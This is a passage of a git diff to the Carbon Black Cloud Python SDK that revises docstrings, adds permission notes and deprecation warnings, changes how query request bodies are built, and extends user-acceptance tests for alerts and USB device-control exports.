``.and_(parent_effective_reputation="KNOWN_MALWARE")``. - If you want full control over the query string specify Process Guid in the query string - `.where("process_guid: example_guid OR parent_effective_reputation: KNOWN_MALWARE")` - Examples: + If you want full control over the query string, specify the process GUID in the query string + ``.where("process_guid: example_guid OR parent_effective_reputation: KNOWN_MALWARE")`` - >>> process_facet_query = (api.select(ProcessFacet).where(process_guid= - "WNEXFKQ7-00050603-0000066c-00000000-1d6c9acb43e29bb")) + Examples: + >>> process_facet_query = api.select(ProcessFacet).where(process_guid= + ... "WNEXFKQ7-00050603-0000066c-00000000-1d6c9acb43e29bb") >>> process_facet_query.add_facet_field("device_name") # retrieve results synchronously - >>> facet = process_facet_query.results # retrieve results asynchronously - >>> future = process_facet_query.execute_async() >>> result = future.result() # result is a list with one item, so access the first item - >>> facet = result[0] """ primary_key = "job_id" @@ -513,9 +499,9 @@ class ProcessFacet(UnrefreshableModel): result_url = "/api/investigate/v2/orgs/{}/processes/facet_jobs/{}/results" class Terms(UnrefreshableModel): - """Represents the facet fields and values associated with a Process Facet query.""" + """The facet fields and values associated with a process facet query.""" def __init__(self, cb, initial_data): - """Initialize a ProcessFacet Terms object with initial_data.""" + """Initialize a ``ProcessFacet.Terms`` object with ``initial_data``.""" super(ProcessFacet.Terms, self).__init__( cb, model_unique_id=None, @@ -540,9 +526,9 @@ def fields(self): return [field for field in self._facets] class Ranges(UnrefreshableModel): - """Represents the range (bucketed) facet fields and values associated with a Process Facet query.""" + """The range (bucketed) facet fields and values associated with a process facet query.""" def __init__(self, cb, initial_data): - """Initialize a ProcessFacet Ranges object with initial_data.""" + """Initialize a ``ProcessFacet.Ranges`` object with ``initial_data``.""" super(ProcessFacet.Ranges, self).__init__( cb, model_unique_id=None, @@ -558,7 +544,7 @@ def __init__(self, cb, initial_data): @property def facets(self): - """Returns the reified `ProcessFacet.Terms._facets` for this result.""" + """Returns the reified facets for this result.""" return self._facets @property @@ -568,10 +554,11 @@ def fields(self): @classmethod def _query_implementation(cls, cb, **kwargs): + """Returns a new query for ``ProcessFacet`` objects (type ``FacetQuery``).""" return FacetQuery(cls, cb) def __init__(self, cb, model_unique_id, initial_data): - """Initialize a ResultFacet object with initial_data.""" + """Initialize a ``ProcessFacet`` object with ``initial_data``.""" super(ProcessFacet, self).__init__( cb, model_unique_id=model_unique_id, @@ -584,28 +571,28 @@ def __init__(self, cb, model_unique_id, initial_data): @property def terms_(self): - """Returns the reified `ProcessFacet.Terms` for this result.""" + """Returns the reified ``ProcessFacet.Terms`` for this result.""" return self._terms @property def ranges_(self): - """Returns the reified `ProcessFacet.Ranges` for this result.""" + """Returns the reified ``ProcessFacet.Ranges`` for this result.""" return self._ranges class AsyncProcessQuery(Query): - """Represents the query logic for an asychronous Process query. + """ + A query object used to search for ``Process`` objects asynchronously. - This class specializes `Query` to handle the particulars of - process querying. + Create one of these objects by calling ``select(Process)`` on a ``CBCloudAPI`` object. """ def __init__(self, doc_class, cb): """ - Initialize the AsyncProcessQuery object. + Initialize the ``AsyncProcessQuery`` object. Args: doc_class (class): The class of the model this query returns. - cb (CBCloudAPI): A reference to the CBCloudAPI object. + cb (CBCloudAPI): A reference to the ``CBCloudAPI`` object. """ super(AsyncProcessQuery, self).__init__(doc_class, cb) self._query_token = None @@ -613,14 +600,14 @@ def __init__(self, doc_class, cb): self._timed_out = False def timeout(self, msecs): - """Sets the timeout on a process query. + """ + Sets the timeout on a process query. Arguments: msecs (int): Timeout duration, in milliseconds. Returns: - Query (AsyncProcessQuery): The Query object with new milliseconds - parameter. + AsyncProcessQuery: The modified query object. Example: >>> cb.select(Process).where(process_name="foo.exe").timeout(5000) @@ -630,10 +617,10 @@ def timeout(self, msecs): def set_rows(self, rows): """ - Sets the 'rows' query parameter to the 'results' API call, determining how many rows to request per batch. + Sets the number of rows to request per batch. - This will not limit the total results to rows instead the batch size will use rows and all of the num_available - will be fetched. + This will not limit the total results to the specified number of rows; instead, the query will use + this to determine how many rows to request at a time from the server. Args: rows (int): How many rows to request. @@ -646,6 +633,12 @@ def set_rows(self, rows): return self def _submit(self): + """ + Submits the query to the server. + + Required Permissions: + org.search.events(CREATE) + """ if self._query_token: raise ApiError("Query already submitted: token {0}".format(self._query_token)) @@ -664,6 +657,12 @@ def _submit(self): self._submit_time = time.time() * 1000 def _still_querying(self): + """ + Checks to see if the query is still running. + + Required Permissions: + org.search.events(CREATE, READ) + """ if not self._query_token: self._submit() @@ -687,6 +686,12 @@ def _still_querying(self): return False def _count(self): + """ + Returns the total number of results from the query. + + Required Permissions: + org.search.events(READ) + """ if self._count_valid: return self._total_results @@ -709,7 +714,10 @@ def _count(self): def _search(self, start=0, rows=0): """ - Execute the query, iterating over results 500 rows at a time. + Execute the query, iterating over results by the specified number of rows at a time. + + Required Permissions: + org.search.events(CREATE, READ) Args: start (int): What index to begin retrieving results from. @@ -767,7 +775,10 @@ def _search(self, start=0, rows=0): def _init_async_query(self): """ - Initialize an async query and return a context for running in the background. + Initialize an asynchronous query and return a context for running in the background. + + Required Permissions: + org.search.events(CREATE) Returns: object: Context for running in the background (the query token). @@ -779,8 +790,11 @@ def _run_async_query(self, context): """ Executed in the background to run an asynchronous query. + Required Permissions: + org.search.events(READ) + Args: - context (object): The context (query token) returned by _init_async_query. + context (object): The context (query token) returned by ``_init_async_query``. Returns: Any: Result of the async query, which is then returned by the future. @@ -791,14 +805,19 @@ def _run_async_query(self, context): class SummaryQuery(BaseQuery, AsyncQueryMixin, QueryBuilderSupportMixin): - """Represents the logic for a Process Summary or Process Tree query.""" + """ + A query used to search for ``Process.Summary`` or ``Process.Tree`` objects. + + Create one of these queries with a ``select()`` on either ``Process.Summary`` or ``Process.Tree``. + These queries are also created by accessing the ``summary`` or ``tree`` properties on ``Process``. + """ def __init__(self, doc_class, cb): """ - Initialize the SummaryQuery object. + Initialize the ``SummaryQuery`` object. Args: doc_class (class): The class of the model this query returns. - cb (CBCloudAPI): A reference to the CBCloudAPI object. + cb (CBCloudAPI): A reference to the ``CBCloudAPI`` object. """ super(SummaryQuery, self).__init__() self._doc_class = doc_class @@ -811,14 +830,14 @@ def __init__(self, doc_class, cb): self._time_range = {} def timeout(self, msecs): - """Sets the timeout on a process query. + """ + Sets the timeout on a process query. Arguments: msecs (int): Timeout duration, in milliseconds. Returns: - Query (AsyncProcessQuery): The Query object with new milliseconds - parameter. + SummaryQuery: The modified query object. Example: >>> cb.select(Process).where(process_name="foo.exe").timeout(5000) @@ -828,18 +847,19 @@ def timeout(self, msecs): def set_time_range(self, start=None, end=None, window=None): """ - Sets the 'time_range' query body parameter, determining a time window based on 'device_timestamp'. + Sets the ``time_range`` query body parameter, determining a time window based on ``device_timestamp``. Args: start (str in ISO 8601 timestamp): When to start the result search. end (str in ISO 8601 timestamp): When to end the result search. window (str): Time window to execute the result search, ending on the current time. - Should be in the form "-2w", where y=year, w=week, d=day, h=hour, m=minute, s=second. + Should be in the form "-nx", where n is an integer and x is y=year, w=week, d=day, h=hour, + m=minute, s=second. Note: - - `window` will take precendent over `start` and `end` if provided. + ``window`` will take precendent over ``start`` and ``end`` if provided. - Examples: + Example: >>> query = api.select(Event).set_time_range(start="2020-10-20T20:34:07Z") >>> second_query = api.select(Event).set_time_range ... (start="2020-10-20T20:34:07Z", end="2020-10-30T20:34:07Z") @@ -880,6 +900,12 @@ def _count(self): raise ApiError('The result is not iterable') def _submit(self): + """ + Submit the query to the server for processing. + + Required Permissions: + org.search.events(CREATE) + """ if self._query_token: raise ApiError("Query already submitted: token {0}".format(self._query_token)) @@ -894,6 +920,12 @@ def _submit(self): self._submit_time = time.time() * 1000 def _still_querying(self): + """ + Checks to see if the query is still running. + + Required Permissions: + org.search.events(CREATE, READ) + """ if not self._query_token: self._submit() @@ -917,7 +949,16 @@ def _still_querying(self): return False def _search(self, start=0, rows=0): - """Execute the query, with one expected result.""" + """ + Execute the query, with one expected result. + + Required Permissions: + org.search.events(CREATE, READ) + + Args: + start (int): Not used. + rows (int): Not used. + """ if not self._query_token: self._submit() @@ -947,12 +988,23 @@ def _search(self, start=0, rows=0): raise ApiError(f"Failed to get Process Tree: {result['exception']}") def _perform_query(self): + """ + Iterate over the results of the query. + + Required Permissions: + org.search.events(CREATE, READ) + """ for item in self.results: yield item @property def results(self): - """Save query results to self._results with self._search() method.""" + """ + Return the results of this query. If the query has not yet been run, it is run to determine the results. + + Required Permissions: + org.search.events(CREATE, READ) + """ if not self._full_init: for item in self._search(): self._results = item @@ -964,6 +1016,9 @@ def _init_async_query(self): """ Initialize an async query and return a context for running in the background. + Required Permissions: + org.search.events(CREATE) + Returns: object: Context for running in the background (the query token). """ @@ -974,11 +1029,14 @@ def _run_async_query(self, context): """ Executed in the background to run an asynchronous query. + Required Permissions: + org.search.events(READ) + Args: - context (object): The context (query token) returned by _init_async_query. + context (object): The context (query token) returned by ``_init_async_query``. Returns: - Any: Result of the async query, which is then returned by the future. + Any: Result of the async query, which is then returned by the ``Future``. """ if context != self._query_token: raise ApiError("Async query not properly started") diff --git a/src/cbc_sdk/platform/reputation.py b/src/cbc_sdk/platform/reputation.py index 372fef70f..0459bc9d1 100644 --- a/src/cbc_sdk/platform/reputation.py +++ b/src/cbc_sdk/platform/reputation.py @@ -226,10 +226,12 @@ def _build_request(self, from_row, max_rows): Returns: dict: The complete request body. """ - request = { - "criteria": self._criteria, - "query": self._query_builder._collapse() - } + request = {} + query = self._query_builder._collapse() + if self._criteria: + request["criteria"] = self._criteria + if query: + request["query"] = query if from_row > 0: request["start"] = from_row if max_rows >= 0: diff --git a/src/cbc_sdk/platform/vulnerability_assessment.py b/src/cbc_sdk/platform/vulnerability_assessment.py index 2bda6bd1a..5f102cec0 100644 --- a/src/cbc_sdk/platform/vulnerability_assessment.py +++ b/src/cbc_sdk/platform/vulnerability_assessment.py @@ -14,7 +14,7 @@ """Model and Query Classes for Vulnerability Assessment API""" from cbc_sdk.base import (NewBaseModel, BaseQuery, QueryBuilder, QueryBuilderSupportMixin, - IterableQueryMixin, AsyncQueryMixin, UnrefreshableModel) + IterableQueryMixin, CriteriaBuilderSupportMixin, AsyncQueryMixin, UnrefreshableModel) from cbc_sdk.errors import ApiError, MoreThanOneResultError, ObjectNotFoundError import logging import time @@ -238,7 +238,8 @@ def __init__(self, doc_class, cb, device=None): Args: doc_class (class): The model class that will be returned by this query. cb (BaseAPI): Reference to API object used to communicate with the server. - device (Device): Optional Device object to indicate VulnerabilityQuery is for a specific device + device (cbc_sdk.platform.devices.Device): Optional Device object to indicate + VulnerabilityQuery is for a specific device """ self._doc_class = doc_class self._cb = cb @@ -330,13 +331,13 @@ class VulnerabilityQuery(BaseQuery, QueryBuilderSupportMixin, IterableQueryMixin, AsyncQueryMixin): """Represents a query that is used to locate Vulnerabiltity objects.""" VALID_DEVICE_TYPE = ["WORKLOAD", "ENDPOINT"] - VALID_OS_TYPE = ["CENTOS", "RHEL", "SLES", "UBUNTU", "WINDOWS"] + VALID_OS_TYPE = ["CENTOS", "RHEL", "SLES", "UBUNTU", "WINDOWS", "SUSE", "AMAZON_LINUX", "ORACLE", "OTHER", + "LINUX", "SDDC", "MAC"] VALID_SEVERITY = ["CRITICAL", "IMPORTANT", "MODERATE", "LOW"] VALID_SYNC_TYPE = ["MANUAL", "SCHEDULED"] VALID_SYNC_STATUS = ["NOT_STARTED", "MATCHED", "ERROR", "NOT_MATCHED", "NOT_SUPPORTED", "CANCELLED", "IN_PROGRESS", "ACTIVE", "COMPLETED"] - VALID_DIRECTIONS = ["ASC", "DESC"] VALID_VISIBILITY = ["DISMISSED", "ACTIVE"] def __init__(self, doc_class, cb, device=None): @@ -346,7 +347,8 @@ def __init__(self, doc_class, cb, device=None): Args: doc_class (class): The model class that will be returned by this query. cb (BaseAPI): Reference to API object used to communicate with the server. - device (Device): Optional Device object to indicate VulnerabilityQuery is for a specific device + device (cbc_sdk.platform.devices.Device): Optional Device object to indicate + VulnerabilityQuery is for a specific device """ self._doc_class = doc_class self._cb = cb @@ -670,7 +672,12 @@ def _build_request(self, from_row, max_rows, add_sort=True): Returns: dict: The complete request body. """ - request = {"criteria": self._criteria, "query": self._query_builder._collapse(), "rows": 100} + request = {"rows": 100} + query = self._query_builder._collapse() + if self._criteria: + request["criteria"] = self._criteria + if query: + request["query"] = query # Fetch 100 rows per page (instead of 10 by default) for better performance if from_row > 0: request["start"] = from_row @@ -798,10 +805,12 @@ def export(self): from cbc_sdk.platform import Job url = self._build_url("/export?async=true") - request = { - "criteria": self._criteria, - "query": self._query_builder._collapse() - } + request = {} + query = self._query_builder._collapse() + if self._criteria: + request["criteria"] = self._criteria + if query: + request["query"] = query # Sort not supported for export # if self._sortcriteria != {}: @@ -827,7 +836,7 @@ def sort_by(self, key, direction="ASC"): Raises: ApiError: If an invalid direction value is passed. """ - if direction not in VulnerabilityQuery.VALID_DIRECTIONS: + if direction not in CriteriaBuilderSupportMixin.VALID_DIRECTIONS: raise ApiError("invalid sort direction specified") self._sortcriteria = {"field": key, "order": direction} return self @@ -963,10 +972,12 @@ def export(self): from cbc_sdk.platform import Job url = self._build_url("/export?async=true") - request = { - "criteria": self._criteria, - "query": self._query_builder._collapse() - } + request = {} + if self._criteria: + request["criteria"] = self._criteria + query = self._query_builder._collapse() + if query: + request["query"] = query # Sort not supported for export # if self._sortcriteria != {}: diff --git a/src/cbc_sdk/rest_api.py b/src/cbc_sdk/rest_api.py index c006cab1f..2927f5198 100644 --- a/src/cbc_sdk/rest_api.py +++ b/src/cbc_sdk/rest_api.py @@ -11,12 +11,18 @@ # * WARRANTIES OR CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, # * NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE. -"""Definition of the CBCloudAPI object, the core object for interacting with the Carbon Black Cloud SDK.""" +""" +Definition of the ``CBCloudAPI`` object, the core object for interacting with the Carbon Black Cloud SDK. + +All interaction with the Carbon Black Cloud SDK begins with creating a ``CBCloudAPI`` object, which represents a +connection to the Carbon Black Cloud. +""" from cbc_sdk.connection import BaseAPI from cbc_sdk.errors import ApiError, CredentialError, ServerError, InvalidObjectError from cbc_sdk.live_response_api import LiveResponseSessionManager from cbc_sdk.audit_remediation import Run, RunHistory +from cbc_sdk.platform.audit import AuditLog from cbc_sdk.enterprise_edr.threat_intelligence import ReportSeverity import logging import time @@ -26,25 +32,45 @@ class CBCloudAPI(BaseAPI): - """The main entry point into the CBCloudAPI. + """ + A connection to the Carbon Black Cloud. - Usage: + The core object for interacting with the Carbon Black Cloud SDK. - >>> from cbc_sdk import CBCloudAPI - >>> cb = CBCloudAPI(profile="production") + Example: + >>> from cbc_sdk import CBCloudAPI + >>> cb = CBCloudAPI(profile="production") """ def __init__(self, *args, **kwargs): - """ - Initialize the CBCloudAPI object. + """Create a new instance of the CBCloudAPI object. Args: *args (list): List of arguments to pass to the API object. **kwargs (dict): Keyword arguments to pass to the API object. Keyword Args: - profile (str): Use the credentials in the named profile when connecting to the Carbon Black server. + credential_file (str): The name of a credential file to be used by the default credential provider. + credential_provider (cbc_sdk.credentials.CredentialProvider): An alternate credential provider to use to + find the credentials to be used when accessing the Carbon Black Cloud. + csp_api_token (str): The CSP API Token for Carbon Black Cloud. + csp_oauth_app_id (str): The CSP OAuth App ID for Carbon Black Cloud. + csp_oauth_app_secret (str): The CSP OAuth App Secret for Carbon Black Cloud. + integration_name (str): The name of the integration using this connection. This should be specified as + a string in the format 'name/version' + max_retries (int): The maximum number of times to retry failing API calls. Default is 5. + org_key (str): The organization key value to use when accessing the Carbon Black Cloud. + pool_block (bool): ``True`` if the connection pool should block when no free connections are available. + Default is ``False``. + pool_connections (int): Number of HTTP connections to be pooled for this instance. Default is 1. + pool_maxsize (int): Maximum size of the connection pool. Default is 10. + profile (str): Use the credentials in the named profile when connecting to the Carbon Black Cloud server. Uses the profile named 'default' when not specified. - threat_pool_count (int): The number of threads to create for asynchronous queries. Defaults to 3. + proxy_session (requests.session.Session): Proxy session to be used for cookie persistence, connection + pooling, and configuration. Default is ``None`` (use the standard session). + thread_pool_count (int): The number of threads to create for asynchronous queries. Defaults to 3. + timeout (float): The timeout to use for for API requests. Default is ``None`` (no timeout). + token (str): The API token to use when accessing the Carbon Black Cloud. + url (str): The URL of the Carbon Black Cloud provider to use. """ super(CBCloudAPI, self).__init__(*args, **kwargs) self._thread_pool_count = kwargs.pop('thread_pool_count', 3) @@ -62,19 +88,14 @@ def _perform_query(self, cls, **kwargs): @property def org_urn(self): - """ - Returns the URN based on the configured org_key. - - Returns: - str: The URN based on the configured org_key. - """ + """The URN of the current organization, based on the configured org_key.""" return f"psc:org:{self.credentials.org_key}" # ---- Async def _async_submit(self, callable, *args, **kwargs): """ - Submit a task to the executor, creating it if it doesn't yet exist. + Submit a task to the background executor, creating it if it doesn't yet exist. Args: callable (func): A callable to be executed as a background task. @@ -82,7 +103,7 @@ def _async_submit(self, callable, *args, **kwargs): **kwargs (dict): Keyword arguments to be passed to the callable. Returns: - Future: A future object representing the background task, which will pass along the result. + Future: An object representing the background task, which will pass along the result. """ if not self._async_executor: self._async_executor = ThreadPoolExecutor(max_workers=self._thread_pool_count) @@ -93,10 +114,9 @@ def _async_submit(self, callable, *args, **kwargs): @property def live_response(self): """ - Create and return the Live Response session manager. + The Live Response session manager object. - Returns: - LiveResponseSessionManager: The session manager object. + It is created if it does not yet exist when this property is read. """ if self._lr_scheduler is None: self._lr_scheduler = LiveResponseSessionManager(self) @@ -131,13 +151,25 @@ def audit_remediation_history(self, query=None): """ return self.select(RunHistory).where(query) - # ---- Notifications + # ---- Notifications (deprecated) def notification_listener(self, interval=60): - """Generator to continually poll the Cb Endpoint Standard server for notifications (alerts). + """ + Continually polls the Cb Endpoint Standard server for notifications (alerts). + + Note: + This can only be used with a 'SIEM' key generated in the Cb Endpoint Standard console. + + Deprecated: + Use the Alerts API or the Data Forwarder to get similar notifications. - Note that this can only be used with a 'SIEM' key generated in the Cb Endpoint Standard console. + Args: + interval (int): Time period to wait in between polls for notifications, in seconds. Default is 60. + + Yields: + dict: A dictionary representing a notification. """ + log.warning("CBCloudAPI.notification_listener is deprecated, use Alerts API or Data Forwarder instead") while True: for notification in self.get_notifications(): yield notification @@ -147,11 +179,16 @@ def get_notifications(self): """ Retrieve queued notifications (alerts) from the Cb Endpoint Standard server. - Note that this can only be used with a 'SIEM' key generated in the Cb Endpoint Standard console. + Note: + This can only be used with a 'SIEM' key generated in the Cb Endpoint Standard console. + + Deprecated: + Use the Alerts API or the Data Forwarder to get similar notifications. Returns: - list: List of dictionary objects representing the notifications, or an empty list if none available. + list[dict]: List of dictionary objects representing the notifications, or an empty list if none available. """ + log.warning("CBCloudAPI.get_notifications is deprecated, use Alerts API or Data Forwarder instead") res = self.get_object("/integrationServices/v3/notification") return res.get("notifications", []) @@ -159,12 +196,21 @@ def get_auditlogs(self): """ Retrieve queued audit logs from the Carbon Black Cloud Endpoint Standard server. - Note that this can only be used with a 'API' key generated in the CBC console. + Note: + While this can be used with an 'API' key generated in the Carbon Black Cloud console, those key types are + officially deprecated. Use a Custom key type with permissions as given here. + + Required Permissions: + org,audits(READ) + + Deprecated: + Use ``AuditLog.getAuditLogs`` (from ``cbc_sdk.platform``) instead. - :returns: list of dictionary objects representing the audit logs, or an empty list if none available. + Returns: + list[dict]: List of dictionary objects representing the audit logs, or an empty list if none available. """ - res = self.get_object("/integrationServices/v3/auditlogs") - return res.get("notifications", []) + log.warning("CBCloudAPI.get_auditlogs is deprecated, use AuditLog.get_auditlogs instead") + return AuditLog.get_auditlogs(self) # ---- Device API @@ -196,9 +242,9 @@ def _device_action(self, device_ids, action_type, options=None): Executes a device action on multiple device IDs. Args: - device_ids (list): The list of device IDs to execute the action on. + device_ids (list[int]): The list of device IDs to execute the action on. action_type (str): The action type to be performed. - options (dict): Options for the bulk device action. Default None. + options (dict): Options for the bulk device action. Default ``None``. Returns: dict: The parsed JSON output from the request. @@ -231,8 +277,8 @@ def device_background_scan(self, device_ids, scan): Set the background scan option for the specified devices. Args: - device_ids (list): List of IDs of devices to be set. - scan (bool): True to turn background scan on, False to turn it off. + device_ids (list[int]): List of IDs of devices to be set. + scan (bool): ``True`` to turn background scan on, ``False`` to turn it off. Returns: dict: The parsed JSON output from the request. @@ -247,8 +293,8 @@ def device_bypass(self, device_ids, enable): Set the bypass option for the specified devices. Args: - device_ids (list): List of IDs of devices to be set. - enable (bool): True to enable bypass, False to disable it. + device_ids (list[int]): List of IDs of devices to be set. + enable (bool): ``True`` to enable bypass, ``False`` to disable it. Returns: dict: The parsed JSON output from the request. @@ -263,7 +309,7 @@ def device_delete_sensor(self, device_ids): Delete the specified sensor devices. Args: - device_ids (list): List of IDs of devices to be deleted. + device_ids (list[int]): List of IDs of devices to be deleted. Returns: dict: The parsed JSON output from the request. @@ -278,7 +324,7 @@ def device_uninstall_sensor(self, device_ids): Uninstall the specified sensor devices. Args: - device_ids (list): List of IDs of devices to be uninstalled. + device_ids (list[int]): List of IDs of devices to be uninstalled. Returns: dict: The parsed JSON output from the request. @@ -293,8 +339,8 @@ def device_quarantine(self, device_ids, enable): Set the quarantine option for the specified devices. Args: - device_ids (list): List of IDs of devices to be set. - enable (bool): True to enable quarantine, False to disable it. + device_ids (list[int]): List of IDs of devices to be set. + enable (bool): ``True`` to enable quarantine, ``False`` to disable it. Returns: dict: The parsed JSON output from the request. @@ -309,7 +355,7 @@ def device_update_policy(self, device_ids, policy_id): Set the current policy for the specified devices. Args: - device_ids (list): List of IDs of devices to be changed. + device_ids (list[int]): List of IDs of devices to be changed. policy_id (int): ID of the policy to set for the devices. Returns: @@ -325,7 +371,7 @@ def device_update_sensor_version(self, device_ids, sensor_version): Update the sensor version for the specified devices. Args: - device_ids (list): List of IDs of devices to be changed. + device_ids (list[int]): List of IDs of devices to be changed. sensor_version (dict): New version properties for the sensor. Returns: @@ -346,10 +392,10 @@ def alert_search_suggestions(self, query): query (str): A search query to use. Returns: - list: A list of search suggestions expressed as dict objects. + list[dict]: A list of search suggestions expressed as dict objects. """ query_params = {"suggest.q": query} - url = "/appservices/v6/orgs/{0}/alerts/search_suggestions".format(self.credentials.org_key) + url = "/api/alerts/v7/orgs/{0}/alerts/search_suggestions".format(self.credentials.org_key) output = self.get_object(url, query_params) return output["suggestions"] @@ -358,7 +404,7 @@ def _bulk_threat_update_status(self, threat_ids, status, remediation, comment): Update the status of alerts associated with multiple threat IDs, past and future. Args: - threat_ids (list): List of string threat IDs. + threat_ids (list[str]): List of string threat IDs. status (str): The status to set for all alerts, either "OPEN" or "DISMISSED". remediation (str): The remediation state to set for all alerts. comment (str): The comment to set for all alerts. @@ -380,10 +426,12 @@ def _bulk_threat_update_status(self, threat_ids, status, remediation, comment): def bulk_threat_update(self, threat_ids, remediation=None, comment=None): """ - Update the alert status of alerts associated with multiple threat IDs. The alerts will be left in an OPEN state + Update the alert status of alerts associated with multiple threat IDs. + + The alerts will be left in an OPEN state Args: - threat_ids (list): List of string threat IDs. + threat_ids (list[str]): List of string threat IDs. remediation (str): The remediation state to set for all alerts. comment (str): The comment to set for all alerts. @@ -394,10 +442,12 @@ def bulk_threat_update(self, threat_ids, remediation=None, comment=None): def bulk_threat_dismiss(self, threat_ids, remediation=None, comment=None): """ - Dismiss the alerts associated with multiple threat IDs. The alerts will be left in a DISMISSED state. + Dismiss the alerts associated with multiple threat IDs. + + The alerts will be left in a DISMISSED state. Args: - threat_ids (list): List of string threat IDs. + threat_ids (list[str]): List of string threat IDs. remediation (str): The remediation state to set for all alerts. comment (str): The comment to set for all alerts. @@ -414,10 +464,10 @@ def create(self, cls, data=None): Args: cls (class): The model being created. - data (dict): The data to pre-populate the model with. + data (dict): The data to pre-populate the model with. Default ``None``. Returns: - object: An instance of `cls`. + object: An instance of ``cls``. Examples: >>> feed = cb.create(Feed, feed_data) @@ -432,7 +482,7 @@ def validate_process_query(self, query): query (str): The query to validate. Returns: - bool: True if the query is valid, False if not. + bool: ``True`` if the query is valid, ``False`` if not. Examples: >>> cb.validate_process_query("process_name:chrome.exe") # True @@ -462,7 +512,7 @@ def convert_feed_query(self, query): @property def custom_severities(self): - """Returns a list of active ReportSeverity instances.""" + """List of active ``ReportSeverity`` instances.""" # TODO(ww): There's probably a better place to put this. url = "/threathunter/watchlistmgr/v3/orgs/{}/reports/severity".format( self.credentials.org_key @@ -480,7 +530,8 @@ def fetch_process_queries(self): return ids.get("query_ids", []) def process_limits(self): - """Returns a dictionary containing API limiting information. + """ + Returns a dictionary containing API limiting information. Examples: >>> cb.process_limits() diff --git a/src/cbc_sdk/workload/vm_workloads_search.py b/src/cbc_sdk/workload/vm_workloads_search.py index 1908f4c39..7a3d16d4d 100644 --- a/src/cbc_sdk/workload/vm_workloads_search.py +++ b/src/cbc_sdk/workload/vm_workloads_search.py @@ -473,7 +473,6 @@ def values(self): class BaseComputeResourceQuery(BaseQuery, QueryBuilderSupportMixin, CriteriaBuilderSupportMixin, IterableQueryMixin, AsyncQueryMixin): """Base class for compute resource queries, not intended for direct use.""" - VALID_DIRECTIONS = ("ASC", "DESC") VALID_DEPLOYMENT_TYPE = ("WORKLOAD", "AWS") VALID_DOWNLOAD_FORMATS = ("JSON", "CSV") DEFAULT_FACET_ROWS = 20 @@ -523,7 +522,7 @@ def sort_by(self, key, direction="ASC"): Returns: BaseComputeResourceQuery: This instance. """ - if direction not in BaseComputeResourceQuery.VALID_DIRECTIONS: + if direction not in CriteriaBuilderSupportMixin.VALID_DIRECTIONS: raise ApiError("invalid sort direction specified") self._sortcriteria = {"field": key, "order": direction} return self @@ -540,7 +539,12 @@ def _build_request(self, from_row, max_rows, add_sort=True): Returns: dict: The complete request body. """ - request = {"criteria": self._criteria, "query": self._query_builder._collapse(), "rows": 100} + request = {"rows": 100} + query = self._query_builder._collapse() + if self._criteria: + request["criteria"] = self._criteria + if query: + request["query"] = query if self._exclusions != {}: request["exclusions"] = self._exclusions # Fetch 100 rows per page (instead of 10 by default) for better performance diff --git a/src/tests/uat/alerts_uat.py b/src/tests/uat/alerts_uat.py index 10e939bbe..cf07c6bf7 100644 --- a/src/tests/uat/alerts_uat.py +++ b/src/tests/uat/alerts_uat.py @@ -129,7 +129,7 @@ def test_search_normal(cb): alerts = list(query) body = {'criteria': {'create_time': {'range': '-3d'}}, 'query': '', 'rows': 1000, 'sort': [{'field': 'create_time', 'order': 'ASC'}]} - output = invoke_post('{}/appservices/v6/orgs/{}/alerts/_search', body) + output = invoke_post('{}/appservices/v7/orgs/{}/alerts/_search', body) results = output['results'] if compare_search_results('test_search_normal', alerts, results): print("test_search_normal: OK") diff --git a/src/tests/uat/device_control_uat.py b/src/tests/uat/device_control_uat.py index 1c35dffb9..ec23ff581 100644 --- a/src/tests/uat/device_control_uat.py +++ b/src/tests/uat/device_control_uat.py @@ -46,6 +46,7 @@ # Standard library imports import sys import requests +import json # Internal library imports from cbc_sdk.helpers import build_cli_parser, get_cb_cloud_object @@ -57,6 +58,7 @@ USB_DEVICE_BLOCKS = '{}device_control/v3/orgs/{}/blocks' USB_DEVICES = '{}device_control/v3/orgs/{}/devices' USB_DEVICES_FACETS = '{}device_control/v3/orgs/{}/devices/_facet' +JOB_OUTPUT = '{}jobs/v1/orgs/{}/jobs/{}/download' HEADERS = {'X-Auth-Token': '', 'Content-Type': 'application/json'} ORG_KEY = '' HOSTNAME = '' @@ -96,6 +98,16 @@ def search_usb_device_approval(): return requests.post(usb_url, json={}, headers=HEADERS) +def export_usb_device_approvals(): + """Export USB Device Approvals""" + usb_url = USB_DEVICE_APPROVAL.format(HOSTNAME, ORG_KEY) + usb_url += '/_export' + job_ref = requests.post(usb_url, json={"format": "CSV"}, headers=HEADERS).json() + job_url = JOB_OUTPUT.format(HOSTNAME, ORG_KEY, job_ref['job_id']) + resp = requests.get(job_url, headers=HEADERS) + return resp.text + + def get_usb_device_block_by_id_api(block_id): """Get Block by ID""" url = USB_DEVICE_BLOCKS.format(HOSTNAME, ORG_KEY) @@ -116,6 +128,16 @@ def search_usb_devices(): return requests.post(usb_url, json={}, headers=HEADERS) +def export_usb_devices(): + """Export USB Devices""" + usb_url = USB_DEVICES.format(HOSTNAME, ORG_KEY) + usb_url += '/_export' + job_ref = requests.post(usb_url, json={"format": "CSV"}, headers=HEADERS).json() + job_url = JOB_OUTPUT.format(HOSTNAME, ORG_KEY, job_ref['job_id']) + resp = requests.get(job_url, headers=HEADERS) + return resp.text + + def search_usb_devices_facets(): """Facet USB Devices""" data = {"terms": {"fields": ["status"]}} @@ -138,6 +160,10 @@ def main(): HEADERS['X-Auth-Token'] = cb.credentials.token ORG_KEY = cb.credentials.org_key HOSTNAME = cb.credentials.url + if not HOSTNAME.endswith('/'): + HOSTNAME += '/' + if print_detail: + print(f"{HOSTNAME=} {ORG_KEY=}") # USB Device Approvals """USB Device Control Approval""" @@ -149,50 +175,64 @@ def main(): "vendor_id": "0x0781", "product_id": "0x5581", "serial_number": "4C531001331122115172", - "notes": "A few notes", + "notes": "Added by UAT - please remove", "approval_name": "Example Approval"}] sdk_result = USBDeviceApproval.bulk_create(cb, data) sdk_created_obj = sdk_result[0] - sdk_obj = USBDeviceApproval(cb, sdk_created_obj.id) - api_result = get_usb_device_approval_by_id_api(sdk_created_obj.id).json() - dict_sdk_obj = sdk_obj._info - assert api_result == dict_sdk_obj, 'Get Approval by ID Failed - ' \ - 'Expected: {}, Actual: {}'.format(api_result, dict_sdk_obj) - print('Get Approval by ID............................OK') - - # get the USB Device Approval - query = cb.select(USBDeviceApproval) - sdk_results = [] - for approval in query: - if approval.id == sdk_created_obj.id: - print('Bulk Create Test..............................OK') - sdk_results.append(approval._info) - api_search = search_usb_device_approval().json()['results'] - assert 